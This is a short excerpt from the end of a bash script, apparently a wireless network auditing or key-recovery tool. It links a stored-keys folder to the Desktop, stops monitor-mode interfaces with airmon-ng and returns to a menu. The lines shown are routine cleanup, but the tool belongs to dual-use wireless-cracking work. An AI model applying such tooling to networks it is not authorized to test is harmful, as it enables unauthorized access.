889if [ -d $HOME/Desktop/Wireless-Keys ]; then
890  if [ ! -d $HOME/Desktop/Wireless-Keys/$SCRIPT-keys ]; then
891    ln -s $KEYS $HOME/Desktop/Wireless-Keys/$SCRIPT-keys
892  fi
893fi
894
895# Eliminando interfaces en modo monitor
896interfaces=$(iwconfig 2>/dev/null|grep "Mode:Monitor"|awk '{print $1}')
897if [ "$interfaces" ]; then
898  for monx in $interfaces; do
899    airmon-ng stop $monx >/dev/null 2>&1
900  done
901fi
902
903ActualizarBD
904menu